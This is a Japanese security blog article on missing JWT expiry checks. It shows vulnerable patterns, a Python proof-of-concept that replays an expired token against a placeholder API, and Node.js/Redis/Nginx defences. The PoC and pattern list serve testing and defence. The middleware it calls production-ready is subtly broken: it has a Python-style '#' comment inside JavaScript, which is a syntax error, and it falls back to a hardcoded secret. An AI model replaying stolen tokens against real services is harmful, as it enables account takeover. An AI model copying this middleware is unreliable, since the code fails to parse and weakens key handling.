【実務・中級編】 JWTの有効期限(exp)検証漏れによるトークン再利用攻撃 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

【レッドチーム視点】JWTの「有効期限(exp)検証漏れ」が招く壊滅的被害 — 攻撃手法の完全再現とRedisを活用した絶対防衛実装

「JWT(JSON Web Token)を使っているから、うちはステートレスでセキュアな認証基盤になっているはず」

もしあなたがそう考えているなら、今すぐその実装を見直すべきです。現場のペネトレーションテストやレッドチーム演習において、JWTを扱うアプリケーションは最も攻撃が成功しやすい標的の一つです。

その最大の原因は、JWTの仕様そのものではなく、「開発者が有効期限(expクレーム)の検証ロジックを軽視、または省略していること」にあります。

今回は、数々のインシデント現場を踏んできたセキュリティチーフの視点から、攻撃者がどのようにexpの検証漏れを突いて無期限のバックドアを作成するのか(PoC)、そしてそれを完璧に遮断するプログラミング&インフラ設計(Node.js + Redis + Nginx)を徹底解説します。

—

1. 攻撃者が狙う盲点:なぜexp検証漏れが起きるのか?

JWTは、ヘッダー(Header)、ペイロード(Payload)、署名(Signature)の3つがドット(.)で連結された構造をしています。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyNDI2MjJ9.XbP...

攻撃者が狙うのは、サーバー側で以下のような手抜き実装や不適切なライブラリの使い方がされているケースです。

実際に目にする危険なコードのパターン

1. 署名の検証だけを行い、expのチェックを失念している
ライブラリによっては、署名検証関数と有効期限チェック関数が分離している場合があり、開発者がexpの比較ロジックを書き忘れる。
2. デバッグ用のフラグが本番環境に残っている
ignoreExpiration: true のようなオプションを開発時に設定し、そのままデプロイされている。
3. ペイロードを直接Base64デコードして使っている
処理速度を優先するあまり、署名検証ライブラリを通さず JSON.parse(Buffer.from(token.split('.')[1], 'base64')) のようにパースしてユーザーIDを取得している。

これが起きるとどうなるか?
一度流出したトークンが、何年経っても「有効なパス」として機能し続けます。

攻撃者は、フィッシングやXSS、あるいは過去のログリークから入手した古めかしいJWTを使い、パスワード変更後であってもアカウントへ永久に不正アクセス(リプレイ攻撃)を繰り返すことが可能になります。

—

2. 攻撃シナリオと検証用PoC(リプレイ攻撃の再現)

攻撃者がどのようにこの脆弱性を特定し、悪用するかを再現してみましょう。

攻撃の手順

1. 被害者のブラウザから盗み出した、すでに1年前に期限切れ(exp)となっているJWTを用意。
2. 攻撃者はターゲットAPIの保護されたエンドポイント(例: /api/v1/user/profile)に対してリクエストを送信。
3. サーバーが 200 OK を返せば、exp の検証漏れが確定。攻撃者はこのトークンを「永続的なAPIキー」として保持する。

攻撃自動化スクリプト(Python PoC)

以下は、レッドチームがペネトレーションテスト時に使用する、検証漏れ判定スクリプトの概念コードです。

import requests
import json
import base64
import time

# テスト対象のAPIエンドポイント
TARGET_URL = "https://api.target-app.local/v1/user/profile"

# 意図的に過去の期限(exp: 1000000000 -> 2001年)を設定したJWT(署名は正しいと仮定)
# ※ 実際のテストでは、過去に発行された本物のトークンや、署名検証が無効なトークンを使用
EXPIRED_JWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEyMyIsImV4cCI6MTAwMDAwMDAwMH0.signature_here"

def analyze_jwt_payload(token):
    """トークンのペイロードをデコードして exp を表示するヘルパー"""
    try:
        payload_b64 = token.split('.')[1]
        # パディング補正
        payload_b64 += '=' * (-len(payload_b64) % 4)
        payload_json = base64.b64decode(payload_b64).decode('utf-8')
        payload = json.loads(payload_json)
        
        print(f"[i] Token 'exp': {payload.get('exp')} (Current Time: {int(time.time())})")
        if payload.get('exp', 0) < time.time():
            print("[i] このトークンは数学的に『期限切れ』です。")
    except Exception as e:
        print(f"[-] パースエラー: {e}")

def execute_replay_attack():
    headers = {
        "Authorization": f"Bearer {EXPIRED_JWT}",
        "User-Agent": "RedTeam-PenTest-Bot"
    }

    print("[*] 期限切れトークンによるアクセスを試行中...")
    analyze_jwt_payload(EXPIRED_JWT)

    response = requests.get(TARGET_URL, headers=headers, verify=False)

    # 期限切れにもかかわらず HTTP 200 が返ってきた場合は脆弱と判断
    if response.status_code == 200:
        print("\n[!] CRITICAL VULNERABILITY DETECTED!")
        print("[!] サーバーは有効期限(exp)を検証していません。")
        print(f"[!] レスポンスデータ: {response.text[:200]}")
    elif response.status_code in [401, 403]:
        print("\n[+] SUCCESS: サーバーは正しくトークンを拒否しました。")
    else:
        print(f"\n[-] 予期しないステータスコード: {response.status_code}")

if __name__ == "__main__":
    execute_replay_attack()

—

3. 「exp検証」だけでは防げない!ログアウトと即時無効化(ブラックリスト)の壁

ここで後輩エンジニアがよく陥る罠があります。

「チーフ、ライブラリで exp の検証を厳密に行うように修正しました!これで安全ですよね?」

答えはNOです。これだけでは半分しか防御できていません。

JWTは本来「ステートレス」です。そのため、exp を10分間に設定していたとしても、ユーザーが「ログアウト」を押した瞬間にそのトークンを無効化する標準的な仕組みが存在しません。

ユーザーがログアウトしたとしても、流出したトークンは残り10分間、攻撃者の手元で自由に使える状態(リプレイ攻撃可能な状態)が続きます。

堅牢な設計ルール:ハイブリッドアプローチ

これを完全に解決するには、「exp による厳格な時間検証」 に加えて、「Redisを使用した分散ブラックリスト(無効化リスト)管理」 を組み合わせるのが現代のWebアプリケーションにおけるベストプラクティスです。

—

4. 防御の実装:Node.js (Express) + Redis による堅牢な認証ミドルウェア

以下は、そのまま本番環境に導入可能なセキュアな実装例です。
JWTの署名・exp 検証はもちろん、Redisを使った「ログアウト済みトークンの即時拒否(ブラックリスト)」までを網羅しています。

必要パッケージのインストール

npm install express jsonwebtoken ioredis

セキュアな認証ミドルウェアおよびログアウト処理(authMiddleware.js)

const jwt = require('jsonwebtoken');
const Redis = require('ioredis');

// 高速なインメモリDBであるRedisクライアントを初期化
const redis = new Redis({
  host: process.env.REDIS_HOST || '127.0.0.1',
  port: process.env.REDIS_PORT || 6379,
  // パスワード設定等があれば追加
});

const JWT_SECRET = process.env.JWT_SECRET || 'your-ultra-secure-secret-key-change-me';

/**
 * 堅牢なJWT検証ミドルウェア
 */
async function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  // Bearer schema の確認
  const token = authHeader && authHeader.split(' ')[1];

  if (!token) {
    return res.status(401).json({ error: 'アクセストークンが提供されていません。' });
  }

  try {
    // 1. 署名および有効期限(exp)の厳密な検証
    // jsonwebtoken ライブラリはデフォルトで exp を検証するが、明示的にアルゴリズムを限定する
    const decoded = jwt.verify(token, JWT_SECRET, {
      algorithms: ['HS256'], // アルゴリズム混同攻撃(None/RS256等)を防ぐため明示指定
      clockTolerance: 0      # 許容する時刻のズレ(秒)。厳密にするため0に設定
    });

    // 2. JWT ID (jti) の存在チェック
    if (!decoded.jti) {
      return res.status(401).json({ error: '無効なトークン構造です (jti欠如)。' });
    }

    // 3. Redisブラックリストのチェック(即時無効化されたトークンか確認)
    const isBlacklisted = await redis.get(`bl_${decoded.jti}`);
    if (isBlacklisted) {
      return res.status(401).json({ error: 'このトークンはすでに無効化(ログアウト)されています。' });
    }

    // 検証成功: リクエストオブジェクトにユーザー情報とトークン情報をセット
    req.user = decoded;
    req.tokenJti = decoded.jti;
    req.tokenExp = decoded.exp;
    next();

  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'トークンの有効期限が切れています。' });
    } else if (err.name === 'JsonWebTokenError') {
      return res.status(403).json({ error: 'トークンの署名検証に失敗しました。' });
    }
    return res.status(500).json({ error: '認証処理中に内部エラーが発生しました。' });
  }
}

/**
 * ログアウト処理(トークンのブラックリスト登録)
 */
async function logoutHandler(req, res) {
  try {
    const jti = req.tokenJti;
    const exp = req.tokenExp;
    const currentTime = Math.floor(Date.now() / 1000);

    // トークンの残存有効期間(TTL)を計算(秒単位)
    const ttl = exp - currentTime;

    if (ttl > 0) {
      // Redisにjtiをキーとして保存。TTLが過ぎたら自動的にRedisから消去されるためメモリを圧迫しない
      await redis.set(`bl_${jti}`, 'revoked', 'EX', ttl);
    }

    return res.status(200).json({ message: '正常にログアウトしました。' });
  } catch (error) {
    return res.status(500).json({ error: 'ログアウト処理に失敗しました。' });
  }
}

module.exports = { authenticateToken, logoutHandler };

—

5. インフラ・エッジ層での堅牢化(Nginx / WAF設定)

バックエンドのロジックだけでなく、インフラのレイヤーでも異常なトークンや攻撃の試行を弾く設計にしておきます。

Nginxでのヘッダー長制限と構造の基本チェック

不正に巨大化させたJWTを使ったDoS攻撃や、ヘッダーインジェクションを防ぐため、nginx.conf に以下の制限を追加します。

server {
    listen 443 ssl http2;
    server_name api.yourdomain.com;

    # 1. 巨大なAuthorizationヘッダー(バッファオーバーフロー攻撃等)を制限
    client_header_buffer_size 1k;
    large_client_header_buffers 4 8k;

    location /v1/ {
        # 2. Authorizationヘッダーが存在しない、またはフォーマットが明らかに異常なリクエストを早期ブロック
        if ($http_authorization = "") {
            return 401 '{"error": "Authorization header missing"}';
        }

        # 簡易的なBearerトークン構文チェック(Regex)
        if ($http_authorization !~* "^Bearer\s+[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$") {
            return 400 '{"error": "Malformed Authorization header"}';
        }

        proxy_pass http://backend_nodejs_upstream;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

—

6. まとめ:チーフエンジニアからの鉄則チェックリスト

最後に、JWTを用いた認証システムを構築・運用する際、チーム全員で徹底すべき「3つのゴールデンルール」を伝えておきます。

1. exp(有効期限)の検証を絶対にスキップしないこと

  • アクセストークンの寿命は最大でも 15分〜30分程度 に短く設定すること。
  • ライブラリを呼び出す際は、明示的に algorithms: ['HS256'](または RS256)を指定し、アルゴリズム混同攻撃を防止すること。

2. ステートレスに固執せず、jti + Redis による無効化機構を設けること

  • ログアウト時やパスワード変更時、即座に旧トークンを殺せる「ブラックリスト」を用意すること。
  • Redisのキーには必ずJWTの残り寿命(TTL)を設定し、メモリの無限肥大化を防ぐこと。

3. クライアント側の保存先を厳選すること

  • XSSによるトークン強奪を防ぐため、JWTを localStorage や sessionStorage に保存せず、可能な限り httpOnly・Secure・SameSite=Strict クッキー で運用すること。

安全なシステムは、仕様への正しい理解と、泥臭い泥縄的な例外処理の排除から生まれます。「動くからヨシ」ではなく、「攻撃者がどう悪用できるか」を常に想像しながらコードを書いていきましょう。

コメント

タイトルとURLをコピーしました